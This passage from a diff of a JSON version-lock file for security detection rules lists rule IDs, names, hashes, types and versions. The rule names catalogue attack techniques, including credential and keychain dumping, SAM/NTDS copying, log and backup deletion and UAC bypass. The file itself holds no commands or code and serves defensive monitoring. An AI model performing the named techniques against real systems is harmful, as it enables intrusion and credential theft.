}, + "35f86980-1fb1-4dff-b311-3be941549c8d": { + "rule_name": "Network Traffic to Rare Destination Country", + "sha256": "154eabb2a4e70a6d0e7d51575de9ec07c7eb10055af37c36a9fec5645b76151a", + "type": "machine_learning", + "version": 2 + }, + "36a8e048-d888-4f61-a8b9-0f9e2e40f317": { + "rule_name": "Suspicious ImagePath Service Creation", + "sha256": "7aa10957a516fe37a541e25ea0eb405baa887338b7cd95b080d7cb5f496e3eee", + "type": "eql", + "version": 4 + }, + "378f9024-8a0c-46a5-aa08-ce147ac73a4e": { + "rule_name": "AWS RDS Security Group Creation", + "sha256": "e0b50ed0cc754b83365d57fc0892ad795403b066b1f2b6e833f37723a3286e70", + "type": "query", + "version": 3 + }, + "37994bca-0611-4500-ab67-5588afe73b77": { + "rule_name": "Azure Active Directory High Risk Sign-in", + "sha256": "99138316d123f1f89b859dc2d11724e221fae9034c71a86aba2aa96d8e624e6b", + "type": "query", + "version": 3 + }, + "37b0816d-af40-40b4-885f-bb162b3c88a9": { + "rule_name": "Anomalous Kernel Module Activity", + "sha256": "d514b94eb1d1b1d05bf21aff148b4318ba2188538a2407bb9737943370627c12", + "type": "machine_learning", + "version": 4 + }, + "37b211e8-4e2f-440f-86d8-06cc8f158cfa": { + "rule_name": "AWS Execution via System Manager", + "sha256": "ebfabf467dd8b14fa28c54259c168a98dc165de8bb93fd13dcc4354ef9029c5e", + "type": "query", + "version": 6 + }, + "37f638ea-909d-4f94-9248-edd21e4a9906": { + "rule_name": "Finder Sync Plugin Registered and Enabled", + "sha256": "a7fca8f1cc9b8a710918f015f9d0cf42440b5e0f288c3b84009f0a8e12096ee1", + "type": "eql", + "version": 2 + }, + "3805c3dc-f82c-4f8d-891e-63c24d3102b0": { + "rule_name": "Attempted Bypass of Okta MFA", + "sha256": "5abfe9116b4ccb7e1143f2bcfa466f9280f7d3fe2ed2a632087c756dd44d65c2", + "type": "query", + "version": 6 + }, + "3838e0e3-1850-4850-a411-2e8c5ba40ba8": { + "rule_name": "Network Connection via Certutil", + "sha256": "80cae6ba9f36885936ddc3bfc37d180db9ec37f430b853af1fe21a14311027a0", + "type": "eql", + "version": 6 + }, + "38948d29-3d5d-42e3-8aec-be832aaaf8eb": { + "rule_name": "Prompt for Credentials with OSASCRIPT", + "sha256": "862fe5f0c824fc337577015ea7456a3d5bba2d45e714bb08d08b245b9ce72d84", + "type": "eql", + "version": 3 + }, + "38e5acdd-5f20-4d99-8fe4-f0a1a592077f": { + "rule_name": "User Added as Owner for Azure Service Principal", + "sha256": "9844bec52014f739123ed6e75296b8ada4c863b14872750ececb4c8f3a939c69", + "type": "query", + "version": 5 + }, + "39144f38-5284-4f8e-a2ae-e3fd628d90b0": { + "rule_name": "AWS EC2 Network Access Control List Creation", + "sha256": "0e1cb80e58a1861ea1f891e1daf7b671e106f90d3d75fddb64c368b2dedf709a", + "type": "query", + "version": 7 + }, + "397945f3-d39a-4e6f-8bcb-9656c2031438": { + "rule_name": "Persistence via Microsoft Outlook VBA", + "sha256": "6de0440b5c9995f4fd4e00b5d7dd242561ace6cc188ef3aff436f59020df155c", + "type": "eql", + "version": 3 + }, + "3a59fc81-99d3-47ea-8cd6-d48d561fca20": { + "rule_name": "Potential DNS Tunneling via NsLookup", + "sha256": "2b74884e710d2b488775647f1a79e3b28390532e537fcabdf72e1595e4b55621", + "type": "threshold", + "version": 3 + }, + "3a86e085-094c-412d-97ff-2439731e59cb": { + "rule_name": "Setgid Bit Set via chmod", + "sha256": "8a227c09d80f4787ecef3e02690f51fd836b29aafcd6b210d859c4cd51203941", + "type": "query", + "version": 6 + }, + "3ad49c61-7adc-42c1-b788-732eda2f5abf": { + "rule_name": "VNC (Virtual Network Computing) to the Internet", + "sha256": "c4676a3d068513cb10f5aa0250eff137b1a106243c2fcd7d9b1d6297c293ed1c", + "type": "query", + "version": 11 + }, + "3ad77ed4-4dcf-4c51-8bfc-e3f7ce316b2f": { + "rule_name": "Azure Full Network Packet Capture Detected", + "sha256": "78613742979e36a993f52ef1a7a4fb1de7e286ed4c5e52fe24eac7726f4173e8", + "type": "query", + "version": 1 + }, + "3b382770-efbb-44f4-beed-f5e0a051b895": { + "rule_name": "Malware - Prevented - Elastic Endgame", + "sha256": "008ca865a5c7a86ce57350c20eed12f164ec20344bf2ac5aa30ba2ac6569884c", + "type": "query", + "version": 7 + }, + "3b47900d-e793-49e8-968f-c90dc3526aa1": { + "rule_name": "Unusual Parent Process for cmd.exe", + "sha256": "1c4973f2206952ea9b39bc9d3516f3facd27091bb2c9003d6725f7134d6e19cc", + "type": "eql", + "version": 4 + }, + "3bc6deaa-fbd4-433a-ae21-3e892f95624f": { + "rule_name": "NTDS or SAM Database File Copied", + "sha256": "6190fcbe0b951625445d3995b34ac7d0eb24f491791797d34fdcc52965947e6c", + "type": "eql", + "version": 5 + }, + "3c7e32e6-6104-46d9-a06e-da0f8b5795a0": { + "rule_name": "Unusual Linux Network Port Activity", + "sha256": "812b60afbec769e09def857ab8078ccd803d393f5f2fdd30ab043a95574a9df6", + "type": "machine_learning", + "version": 5 + }, + "3e002465-876f-4f04-b016-84ef48ce7e5d": { + "rule_name": "AWS CloudTrail Log Updated", + "sha256": "f97ef2cca95b757b6bf71ab8a99259fc96ac07fc4ec00fa81cdd6e64ef085337", + "type": "query", + "version": 6 + }, + "3e3d15c6-1509-479a-b125-21718372157e": { + "rule_name": "Suspicious Emond Child Process", + "sha256": "60ad0bc321eee4f3d4d9a5346985b65aa95105034d55525170670faa700a9663", + "type": "eql", + "version": 1 + }, + "3ecbdc9e-e4f2-43fa-8cca-63802125e582": { + "rule_name": "Privilege Escalation via Named Pipe Impersonation", + "sha256": "3f2d95fdb79cb6ca4c56f1becabbe1d57288b6104b0b40f17398e3fde07651bf", + "type": "eql", + "version": 3 + }, + "3ed032b2-45d8-4406-bc79-7ad1eabb2c72": { + "rule_name": "Suspicious Process Creation CallTrace", + "sha256": "0f67bb4b3fbdb804594a8f6c72163a50c7a0560738746a8eace419e2b80c81ab", + "type": "eql", + "version": 1 + }, + "3efee4f0-182a-40a8-a835-102c68a4175d": { + "rule_name": "Potential Password Spraying of Microsoft 365 User Accounts", + "sha256": "7994f8c47774c0f02a84d4fbc196bbbd74efed6cfd4cc23a0c536e81d619f36e", + "type": "threshold", + "version": 5 + }, + "3f0e5410-a4bf-4e8c-bcfc-79d67a285c54": { + "min_stack_version": "7.14.0", + "rule_name": "CyberArk Privileged Access Security Error", + "sha256": "420e91f52a8fb273a099a96a3b3e8beb4c682a608f9ce67d763b32fa803a83dd", + "type": "query", + "version": 1 + }, + "403ef0d3-8259-40c9-a5b6-d48354712e49": { + "rule_name": "Unusual Persistence via Services Registry", + "sha256": "9d7ea3e58be2ab3e6c229d05df37c0f1dc248bdbd5e68c0fb8665051eac97e01", + "type": "eql", + "version": 5 + }, + "416697ae-e468-4093-a93d-59661fa619ec": { + "rule_name": "Control Panel Process with Unusual Arguments", + "sha256": "24caaad3fea11b7693bad4ee11a32119b0f6804af45f39ac7ded0499c0fa6694", + "type": "eql", + "version": 2 + }, + "41824afb-d68c-4d0e-bfee-474dac1fa56e": { + "rule_name": "EggShell Backdoor Execution", + "sha256": "49fca84019de306b693f25ee758a76113137f7f37277ac183c412540bf7dab04", + "type": "query", + "version": 1 + }, + "41b638a1-8ab6-4f8e-86d9-466317ef2db5": { + "rule_name": "Potential Hidden Local User Account Creation", + "sha256": "e37a197e231dd5c778e7e2eba8094aeb962e5ce1fd3f101370d7c0dbc2a24ff4", + "type": "query", + "version": 1 + }, + "42bf698b-4738-445b-8231-c834ddefd8a0": { + "rule_name": "Okta Brute Force or Password Spraying Attack", + "sha256": "b3f891727a031658802366c46aa16b0456d98a653e97f0873ad9203e4a88005d", + "type": "threshold", + "version": 5 + }, + "4330272b-9724-4bc6-a3ca-f1532b81e5c2": { + "rule_name": "Unusual Login Activity", + "sha256": "3f35fdeeb2a9009f7f98d3094d9923caff8ad61e07dbaeb0f483e5de46092849", + "type": "machine_learning", + "version": 4 + }, + "43303fd4-4839-4e48-b2b2-803ab060758d": { + "rule_name": "Web Application Suspicious Activity: No User Agent", + "sha256": "e4e4fed016f2f7f95e0547e9880feb0a83a077b476bc20dd27ac1cd3a58b577d", + "type": "query", + "version": 7 + }, + "440e2db4-bc7f-4c96-a068-65b78da59bde": { + "rule_name": "Shortcut File Written or Modified for Persistence", + "sha256": "944caee6eb6c128e932e1a8b587dbf2a3da7cf3a70751349132eee695e1ad82f", + "type": "eql", + "version": 3 + }, + "445a342e-03fb-42d0-8656-0367eb2dead5": { + "rule_name": "Unusual Windows Path Activity", + "sha256": "845885ac400eacce386fbf5040713ed065a66b447e5ddf8f450e0939c64bab9a", + "type": "machine_learning", + "version": 5 + }, + "453f659e-0429-40b1-bfdb-b6957286e04b": { + "rule_name": "Permission Theft - Prevented - Elastic Endgame", + "sha256": "ca60e2e85601f7d1db4c009cc581db67e2f3e9ecae3df43a4713b067f9c9a6fb", + "type": "query", + "version": 7 + }, + "45ac4800-840f-414c-b221-53dd36a5aaf7": { + "rule_name": "Windows Event Logs Cleared", + "sha256": "f65e89b35c2d09bcf13dc109cfe5c2385c3ef652d65c38a84e4d275ed932866f", + "type": "query", + "version": 2 + }, + "45d273fb-1dca-457d-9855-bcb302180c21": { + "rule_name": "Encrypting Files with WinRar or 7z", + "sha256": "afd848d3e14acf0cda06b0eb92b86f3bf86fc362d754c4fa574ee0099f5e779f", + "type": "eql", + "version": 4 + }, + "4630d948-40d4-4cef-ac69-4002e29bc3db": { + "rule_name": "Adding Hidden File Attribute via Attrib", + "sha256": "8b06e2c4389580431725d7ec34eaa01ee257ab1980f1dcb62e9457c7fe3a5383", + "type": "eql", + "version": 9 + }, + "46f804f5-b289-43d6-a881-9387cf594f75": { + "rule_name": "Unusual Process For a Linux Host", + "sha256": "5dec41bb8c572f24b5a47b3903e2d4e2fd9bfe5a6a86789f0b50c1c52d956af6", + "type": "machine_learning", + "version": 7 + }, + "47f09343-8d1f-4bb5-8bb0-00c9d18f5010": { + "rule_name": "Execution via Regsvcs/Regasm", + "sha256": "fa283dded0764ed89000be343cbbb926c659d742d2cf19d15ad5c5680a096578", + "type": "query", + "version": 7 + }, + "47f76567-d58a-4fed-b32b-21f571e28910": { + "rule_name": "Apple Script Execution followed by Network Connection", + "sha256": "34086f00f7c81d099a3adb242947eb40dbe6ad2debdf1accf86d786204506af4", + "type": "eql", + "version": 3 + }, + "483c4daf-b0c6-49e0-adf3-0bfa93231d6b": { + "rule_name": "Microsoft Exchange Server UM Spawning Suspicious Processes", + "sha256": "8c07df1d0c0f730e3e3126804f0934ba930fe3aaf3514718b5d17e3873665f4b", + "type": "eql", + "version": 1 + }, + "48d7f54d-c29e-4430-93a9-9db6b5892270": { + "rule_name": "Unexpected Child Process of macOS Screensaver Engine", + "sha256": "282abf66ee7d89bd9c9170c0f5d02b637eb154a7dcbe465cd3650a2229bd489e", + "type": "eql", + "version": 2 + }, + "48ec9452-e1fd-4513-a376-10a1a26d2c83": { + "rule_name": "Potential Persistence via Periodic Tasks", + "sha256": "6cc74d6a74abae157494c559cbc80c499212df19327c2345e899fc8d77a1a089", + "type": "query", + "version": 1 + }, + "493834ca-f861-414c-8602-150d5505b777": { + "min_stack_version": "7.15.0", + "rule_name": "Agent Spoofing - Multiple Hosts Using Same Agent", + "sha256": "829bb3432a7664715c5b96c2be6d56e4f957db320f71657203632e61e44b6fe0", + "type": "threshold", + "version": 2 + }, + "4a4e23cf-78a2-449c-bac3-701924c269d3": { + "rule_name": "Possible FIN7 DGA Command and Control Behavior", + "sha256": "38a9ef4430e706f69e3f25e3775ef9ab5247933a6448daed8075c460dd5d4369", + "type": "query", + "version": 6 + }, + "4b438734-3793-4fda-bd42-ceeada0be8f9": { + "rule_name": "Disable Windows Firewall Rules via Netsh", + "sha256": "90064df775272d8e2f696fb665bb8e5df6ed2e82abb3a9f450d42b3d0caa61e5", + "type": "eql", + "version": 10 + }, + "4bd1c1af-79d4-4d37-9efa-6e0240640242": { + "rule_name": "Unusual Process Execution Path - Alternate Data Stream", + "sha256": "ced0a019b63e9d421f8e75a6d2dd6a581cfd87b9bf4388349f4070700225813d", + "type": "eql", + "version": 5 + }, + "4d50a94f-2844-43fa-8395-6afbd5e1c5ef": { + "rule_name": "AWS Management Console Brute Force of Root User Identity", + "sha256": "54f432ebeecc716460a030d6d37cdb842396275d6daf24813ce0f902486cd953", + "type": "threshold", + "version": 3 + }, + "4da13d6e-904f-4636-81d8-6ab14b4e6ae9": { + "rule_name": "Attempt to Disable Gatekeeper", + "sha256": "0ae822fec1abd33c32277f40e993668c09ec575f0f6580a760937417c7d50e32", + "type": "query", + "version": 1 + }, + "4de76544-f0e5-486a-8f84-eae0b6063cdc": { + "rule_name": "Disable Windows Event and Security Logs Using Built-in Tools", + "sha256": "c5df84be421d64d3a1261a065649b24397c4d41d7344dd8828b0b1beb84a7d76", + "type": "eql", + "version": 2 + }, + "4ed493fc-d637-4a36-80ff-ac84937e5461": { + "rule_name": "Execution via MSSQL xp_cmdshell Stored Procedure", + "sha256": "65957d10243835667b29df2c1bf74ef752f91f9ca378cf1382cc41ac5ed81bc6", + "type": "eql", + "version": 4 + }, + "4ed678a9-3a4f-41fb-9fea-f85a6e0a0dff": { + "rule_name": "Suspicious Script Object Execution", + "sha256": "86fbac365ea6f05358840e21847cdac1ba5feaeb3571e7edfdcec13820f6e50a", + "type": "eql", + "version": 4 + }, + "4edd3e1a-3aa0-499b-8147-4d2ea43b1613": { + "rule_name": "Unauthorized Access to an Okta Application", + "sha256": "589c24ca630a77bad17ad6c4b8036cce404b7a1186da052793b448c75bb06371", + "type": "query", + "version": 2 + }, + "4fe9d835-40e1-452d-8230-17c147cafad8": { + "rule_name": "Execution via TSClient Mountpoint", + "sha256": "fd6aa0fb6621012cb8e02b57f75725de1c2d778441edb0a01096a2b76f972d53", + "type": "eql", + "version": 3 + }, + "513f0ffd-b317-4b9c-9494-92ce861f22c7": { + "rule_name": "Registry Persistence via AppCert DLL", + "sha256": "e573874c887d52298c8c9a8f0ca2e19769f649bd1b4b36f98aed5a4919ec6c6e", + "type": "eql", + "version": 4 + }, + "514121ce-c7b6-474a-8237-68ff71672379": { + "rule_name": "Microsoft 365 Exchange DKIM Signing Configuration Disabled", + "sha256": "7e5f0b340dfbf69334022656802c3cc8dd99a9acd0ca288a87a1cbf73425f305", + "type": "query", + "version": 5 + }, + "51859fa0-d86b-4214-bf48-ebb30ed91305": { + "rule_name": "GCP Logging Sink Deletion", + "sha256": "f080f65773cf86f0dcf7b5d2234c7b3123961338d5d11310d2bc007d0f5978c0", + "type": "query", + "version": 6 + }, + "51ce96fb-9e52-4dad-b0ba-99b54440fc9a": { + "rule_name": "Incoming DCOM Lateral Movement with MMC", + "sha256": "7add00e6f6097cc99daf7fcee026068a09e75a93763bd1b69733f2bc73d53aa4", + "type": "eql", + "version": 5 + }, + "523116c0-d89d-4d7c-82c2-39e6845a78ef": { + "rule_name": "AWS GuardDuty Detector Deletion", + "sha256": "6c543d844a90fd931a4c36a1fcaaca7a7608ac2a2f6127382844943ddee4f71c", + "type": "query", + "version": 7 + }, + "52aaab7b-b51c-441a-89ce-4387b3aea886": { + "rule_name": "Unusual Network Connection via RunDLL32", + "sha256": "33e7314dd4b45b521415255a0c6fc075f77dba01dac56340b885f8befad43b9b", + "type": "eql", + "version": 10 + }, + "52afbdc5-db15-485e-bc24-f5707f820c4b": { + "rule_name": "Unusual Linux Network Activity", + "sha256": "64ae86b5af4ca19baebe75a2791db256410a0bb32de52364fffef246f551bc18", + "type": "machine_learning", + "version": 6 + }, + "52afbdc5-db15-485e-bc35-f5707f820c4c": { + "rule_name": "Unusual Linux Web Activity", + "sha256": "a25a0fe20cc7cdd9b940f1455c54b3cbd54a07d575ec8d8b6219b61af322aaad", + "type": "machine_learning", + "version": 4 + }, + "52afbdc5-db15-596e-bc35-f5707f820c4b": { + "rule_name": "Unusual Linux Network Service", + "sha256": "af448b51ebd531a54c02ae19fc4cc63deef15eb691efcc957764e26879b9a87c", + "type": "machine_learning", + "version": 4 + }, + "536997f7-ae73-447d-a12d-bff1e8f5f0a0": { + "rule_name": "AWS EFS File System or Mount Deleted", + "sha256": "306a95f7b751a3c125d43dd4d56e8bc2df8d9ac55b9a76fef8a1e60ac3ee799c", + "type": "query", + "version": 2 + }, + "5370d4cd-2bb3-4d71-abf5-1e1d0ff5a2de": { + "rule_name": "Azure Diagnostic Settings Deletion", + "sha256": "8ba5acc8850e486039277d2da8132a4203da644e6a12e3b500bb67629678dff7", + "type": "query", + "version": 5 + }, + "53a26770-9cbd-40c5-8b57-61d01a325e14": { + "rule_name": "Suspicious PDF Reader Child Process", + "sha256": "28f16475e1b77a83be53387c10dfc3e12a8cb30463ebed52c32e7a3f104093d3", + "type": "eql", + "version": 7 + }, + "54902e45-3467-49a4-8abc-529f2c8cfb80": { + "rule_name": "Uncommon Registry Persistence Change", + "sha256": "063beeef24d261da01edbbeeaee92572fb436a31d690472418d40c46a6209d50", + "type": "eql", + "version": 5 + }, + "54c3d186-0461-4dc3-9b33-2dc5c7473936": { + "rule_name": "Network Logon Provider Registry Modification", + "sha256": "d7dd9478ea6adaad5568eb2f70c33bc6ce44da0e2a6867f38c5ff48086311669", + "type": "eql", + "version": 2 + }, + "55c2bf58-2a39-4c58-a384-c8b1978153c2": { + "rule_name": "Windows Service Installed via an Unusual Client", + "sha256": "08df11e0b47db88dd1ea0c975775244bb561f4eedb48f626f65b3d8d51eff4e3", + "type": "query", + "version": 1 + }, + "55d551c6-333b-4665-ab7e-5d14a59715ce": { + "rule_name": "PsExec Network Connection", + "sha256": "4e4fbdc65c3b54bf30a91147ac126d5e470995cd70f02c1dd673719b0738a0a6", + "type": "eql", + "version": 7 + }, + "56557cde-d923-4b88-adee-c61b3f3b5dc3": { + "rule_name": "Windows CryptoAPI Spoofing Vulnerability (CVE-2020-0601 - CurveBall)", + "sha256": "0098059a0c6dca4b880d5b66cc7159ce16ab4e4d41a414d24d52aa3cc16c112e", + "type": "query", + "version": 6 + }, + "565c2b44-7a21-4818-955f-8d4737967d2e": { + "rule_name": "Potential Admin Group Account Addition", + "sha256": "433b4fee2d89c47433742f05b5869e7babde31127f434c8cce50899e14a270a6", + "type": "query", + "version": 1 + }, + "565d6ca5-75ba-4c82-9b13-add25353471c": { + "rule_name": "Dumping of Keychain Content via Security Command", + "sha256": "902f4fc3cc9b2951b82e74f03c337b150f2584f77ae83e6d2a23ad8b5abb3c45", + "type": "eql", + "version": 1 + }, + "5663b693-0dea-4f2e-8275-f1ae5ff2de8e": { + "rule_name": "GCP Logging Bucket Deletion", + "sha256": "b9d492bbf9e35665b2a22d0f90716d61faf78153b20c09c8183e7336b4c1bd65", + "type": "query", + "version": 6 + }, + "56f2e9b5-4803-4e44-a0a4-a52dc79d57fe": { + "rule_name": "PowerShell PSReflect Script", + "sha256": "9c17e951b973ee2ca613cc870ce1e0276513c1acef9546f7f7264e2c71c48a41", + "type": "query", + "version": 2 + }, + "5700cb81-df44-46aa-a5d7-337798f53eb8": { + "rule_name": "VNC (Virtual Network Computing) from the Internet", + "sha256": "c683c0a850432bc2e1bc213062d7340c83c0c8ecc6ce14f521ed262124ce52ab", + "type": "query", + "version": 11 + }, + "571afc56-5ed9-465d-a2a9-045f099f6e7e": { + "rule_name": "Credential Dumping - Detected - Elastic Endgame", + "sha256": "16a81e4dd634888d573b513f92f341b62b0dd86237883db37a35e77ebf1fde1f", + "type": "query", + "version": 7 + }, + "573f6e7a-7acf-4bcd-ad42-c4969124d3c0": { + "rule_name": "Azure Virtual Network Device Modified or Deleted", + "sha256": "6fc943ed6a7460824b62403a5a15857757bf17110c30528291bd3feedfbd1bca", + "type": "query", + "version": 2 + }, + "577ec21e-56fe-4065-91d8-45eb8224fe77": { + "rule_name": "PowerShell MiniDump Script", + "sha256": "105c3f90085d4af397d4adccf7e48445bb28c785e46cd84cefc25720ab8b2b27", + "type": "query", + "version": 5 + }, + "581add16-df76-42bb-af8e-c979bfb39a59": { + "rule_name": "Deleting Backup Catalogs with Wbadmin", + "sha256": "868ffb9b45e3d8236b93e72b26814071dc1f1d6f1594fc54b97abc6be9f3d242", + "type": "eql", + "version": 10 + }, + "58aa72ca-d968-4f34-b9f7-bea51d75eb50": { + "rule_name": "RDP Enabled via Registry", + "sha256": "671a71d6221cf597294f3a2384e29d5a828ffa9b490776ade78495b7180fa810", + "type": "eql", + "version": 5 + }, + "58ac2aa5-6718-427c-a845-5f3ac5af00ba": { + "rule_name": "Zoom Meeting with no Passcode", + "sha256": "929b90e9226b83b1269f9a04cb4bdf8e8aa9ae3754590e7b98cec10c44617a0d", + "type": "query", + "version": 4 + }, + "58bc134c-e8d2-4291-a552-b4b3e537c60b": { + "rule_name": "Lateral Tool Transfer", + "sha256": "3879f384221103f101d7c1c2cc0d549e9b6fb16338e554b2fefaa36d2581debb", + "type": "eql", + "version": 4 + }, + "58c6d58b-a0d3-412d-b3b8-0981a9400607": { + "rule_name": "Potential Privilege Escalation via InstallerFileTakeOver", + "sha256": "c321fa60ddbbe7f3e8b0914a43379c5eacaee6c4c0b9c399fe46481d47c446f2", + "type": "eql", + "version": 2 + }, + "5930658c-2107-4afc-91af-e0e55b7f7184": { + "rule_name": "O365 Email Reported by User as Malware or Phish", + "sha256": "7ccd4d8f110c738a2b76576a8e8789744375b7af919a2d9fb8eaff54efb4c23a", + "type": "query", + "version": 1 + }, + "594e0cbf-86cc-45aa-9ff7-ff27db27d3ed": { + "rule_name": "AWS CloudTrail Log Created", + "sha256": "85d74e77cea83a788a7e8ff5cecbec7170d475c2191813cc38a9f76fac5f0001", + "type": "query", + "version": 6 + }, + "59756272-1998-4b8c-be14-e287035c4d10": { + "rule_name": "Unusual Linux System Owner or User Discovery Activity", + "sha256": "4dfce8f9b71d1c1154bcf7d7e227f86a80e23ecf68649d7067d1b9daa21960b3", + "type": "machine_learning", + "version": 2 + }, + "5a14d01d-7ac8-4545-914c-b687c2cf66b3": { + "rule_name": "UAC Bypass Attempt via Privileged IFileOperation COM Interface", + "sha256": "c444e8ebabf015f11eca3aad69c7db2c17a53f0ebb7cf413a492bcc22c14252a", + "type": "eql", + "version": 4 + }, + "5ae4e6f8-d1bf-40fa-96ba-e29645e1e4dc": { + "rule_name": "Remote SSH Login Enabled via systemsetup Command", + "sha256": "949d9585989c20d9adda4bea2921d82a86591c2f26aaf1ffff9db3fc76015f4d", + "type": "query", + "version": 3 + }, + "5aee924b-6ceb-4633-980e-1bde8cdb40c5": { + "rule_name": "Potential Secure File Deletion via SDelete Utility", + "sha256": "26c0664d074c41ca13825dbb77b7dd7dba82302a0d5ea7a9842d93e02da18f37", + "type": "eql", + "version": 5 + }, + "5b03c9fb-9945-4d2f-9568-fd690fee3fba": { + "rule_name": "Virtual Machine Fingerprinting", + "sha256": "9c0208d45564d4542b3d2b8a5bf247de7c1f52fd0d35c92870b6bae1e3a11169", + "type": "query", + "version": 6 + }, + "5bb4a95d-5a08-48eb-80db-4c3a63ec78a8": { + "rule_name": "Suspicious PrintSpooler Service Executable File Creation", + "sha256": "ac6b9792a84324d6359fc162d768843bcf69e9d6a1e60f6a4001a40174a0a17a", + "type": "eql", + "version": 4 + }, + "5beaebc1-cc13-4bfc-9949-776f9e0dc318": { + "rule_name": "AWS WAF Rule or Rule Group Deletion", + "sha256": "3e550cf60b7bdbefd8793ba92498409e7170c4e56cb1b56abc47eeb6a9f81eaa", + "type": "query", + "version": 7 + }, + "5c983105-4681-46c3-9890-0c66d05e776b": { + "rule_name": "Unusual Linux Process Discovery Activity", + "sha256": "d00b5c874958e60ebea75b76e2ed82104b526c831d61e946c915fd0cc7efa80d", + "type": "machine_learning", + "version": 2 + }, + "5cd55388-a19c-47c7-8ec4-f41656c2fded": { + "rule_name": "Outbound Scheduled Task Activity via PowerShell", + "sha256": "64a269e25fae2964d9e1cb61115089d57eebcbdbc1b822cf41ecfc490977e15a", + "type": "eql", + "version": 4 + }, + "5cd8e1f7-0050-4afc-b2df-904e40b2f5ae": { + "rule_name": "User Added to Privileged Group in Active Directory", + "sha256": "1c916f85abeafa2fb73df818ab49266806c69dc729e1e2f68e5982972448cd9a", + "type": "eql", + "version": 3 + }, + "5d0265bf-dea9-41a9-92ad-48a8dcd05080": { + "rule_name": "Persistence via Login or Logout Hook", + "sha256": "f0280d78ef564558bec9ff8a9cad7c4ffa23ae2583671463d67d196023c86ad0", + "type": "eql", + "version": 4 + }, + "5d1d6907-0747-4d5d-9b24-e4a18853dc0a": { + "rule_name": "Suspicious Execution via Scheduled Task", + "sha256": "39b048716937ceb662422d8e35d3e65524d15b2122f65419c6ee49fff049a570", + "type": "eql", + "version": 4 + }, + "5d9f8cfc-0d03-443e-a167-2b0597ce0965": { + "rule_name": "Suspicious Automator Workflows Execution", + "sha256": "1423cb901db24ee2389356865a804a69d1c5ccd02aca4cf100ca7486f830aee2", + "type": "eql", + "version": 1 + }, + "5e552599-ddec-4e14-bad1-28aa42404388": { + "rule_name": "Microsoft 365 Teams Guest Access Enabled", + "sha256": "dfffdd35d5aea389d17a849f0a12cb31558b2660b2a20485892c53848ded6543", + "type": "query", + "version": 5 + }, + "5e87f165-45c2-4b80-bfa5-52822552c997": { + "rule_name": "Potential PrintNightmare File Modification", + "sha256": "cce3c92801296f877a7b98b1d40e5eb47cc9843149d203377272809894e0c933", + "type": "eql", + "version": 1 + }, + "60884af6-f553-4a6c-af13-300047455491": { + "rule_name": "Azure Command Execution on Virtual Machine", + "sha256": "abb1da4a93de07129c1b5b615752a4b9824c9cf4fd8c0c555614dd029d6d7e8b", + "type": "query", + "version": 5 + }, + "60b6b72f-0fbc-47e7-9895-9ba7627a8b50": { + "rule_name": "Azure Service Principal Addition", + "sha256": "8eb451fbf3b33b73f8476b07b3b278f1f89028628f41bccd347c3ac556e4e031", + "type": "query", + "version": 4 + }, + "60f3adec-1df9-4104-9c75-b97d9f078b25": { + "rule_name": "Microsoft 365 Exchange DLP Policy Removed", + "sha256": "8861a21144a2ea4eb4575801530892df3fff673dc4701f49c4863bf3f0bec8e6", + "type": "query", + "version": 5 + }, + "610949a1-312f-4e04-bb55-3a79b8c95267": { + "rule_name": "Unusual Process Network Connection", + "sha256": "9284b390c8c7e73e77a69f2d0e2900f6b6ef1e04caca2806f594f3695bc65b86", + "type": "eql", + "version": 7 + }, + "61ac3638-40a3-44b2-855a-985636ca985e": { + "rule_name": "PowerShell Suspicious Discovery Related Windows API Functions", + "sha256": "2996a4fab8119ba85417d7826967b9135cbefceaa7cb3c8cfcb0183f0d9f92b8", + "type": "query", + "version": 4 + }, + "61c31c14-507f-4627-8c31-072556b89a9c": { + "rule_name": "Mknod Process Activity", + "sha256": "9070708b87661e05dc8b0275151d9c928fbf29feacc6b771a10e56eea2ff82ea", + "type": "query", + "version": 7 + }, + "622ecb68-fa81-4601-90b5-f8cd661e4520": { + "rule_name": "Incoming DCOM Lateral Movement via MSHTA", + "sha256": "3203c65eec92dee9e1303d21081ea604077f14bd31a3c941ae581c791d450c18", + "type": "eql", + "version": 5 + }, + "63e65ec3-43b1-45b0-8f2d-45b34291dc44": { + "rule_name": "Network Connection via Signed Binary", + "sha256": "480b35158e6bde86c97da264cbbc89e51301efc810ebfc8913739b428152b2b5", + "type": "eql", + "version": 9 + }, + "647fc812-7996-4795-8869-9c4ea595fe88": { + "rule_name": "Anomalous Process For a Linux Population", + "sha256": "c10cfdb233bb94a8778c442480ba3bf3052d77b1a7233987c6c6f02bb88a69b3", + "type": "machine_learning", + "version": 7 + }, + "6482255d-f468-45ea-a5b3-d3a7de1331ae": { + "rule_name": "Modification of Safari Settings via Defaults Command", + "sha256": "1291f8e74a129e13387f515122286762491f4a8a98539f725f35893c9e519257", + "type": "query", + "version": 1 + }, + "6506c9fd-229e-4722-8f0f-69be759afd2a": { + "rule_name": "Potential PrintNightmare Exploit Registry Modification", + "sha256": "2835937a732bcb071b232eba9fe5f11b5f7ea8c7742eec0640d79cca3fcea621", + "type": "eql", + "version": 2 + }, + "661545b4-1a90-4f45-85ce-2ebd7c6a15d0": { + "rule_name": "Attempt to Mount SMB Share via Command Line", + "sha256": "22df29a521ec99fa01bf16c417ab71290f62629f00e77a9d9daa68703717e996", + "type": "eql", + "version": 1 + }, + "665e7a4f-c58e-4fc6-bc83-87a7572670ac": { + "rule_name": "WebServer Access Logs Deleted", + "sha256": "9e822f662024fca699b240383c9eebbb725dd9219991cbb412fbc73130137e78", + "type": "eql", + "version": 3 + }, + "66883649-f908-4a5b-a1e0-54090a1d3a32": { + "rule_name": "Connection to Commonly Abused Web Services", + "sha256": "f27800e26f498a07905f3f25d836d4d3234e564f7ff4aacb4e3778b7155475db", + "type": "eql", + "version": 7 + }, + "66da12b1-ac83-40eb-814c-07ed1d82b7b9": { + "rule_name": "Suspicious macOS MS Office Child Process", + "sha256": "2cef3de3b774697cedfbed1c2355f06f346be0ff564bb51e664741418215ed35", + "type": "eql", + "version": 2 + }, + "6731fbf2-8f28-49ed-9ab9-9a918ceb5a45": { + "rule_name": "Attempt to Modify an Okta Policy", + "sha256": "d93bdd2f8eda2395c9b8ab7c737460f2201732e3176d605b489d38221cd18bfb", + "type": "query", + "version": 6 + }, + "675239ea-c1bc-4467-a6d3-b9e2cc7f676d": { + "rule_name": "O365 Mailbox Audit Logging Bypass", + "sha256": "9fc4ef03c57ceb4080449f8f6db2e2054bae6343b79b340c3b462697cb756abb", + "type": "query", + "version": 3 + }, + "676cff2b-450b-4cf1-8ed2-c0c58a4a2dd7": { + "rule_name": "Attempt to Revoke Okta API Token", + "sha256": 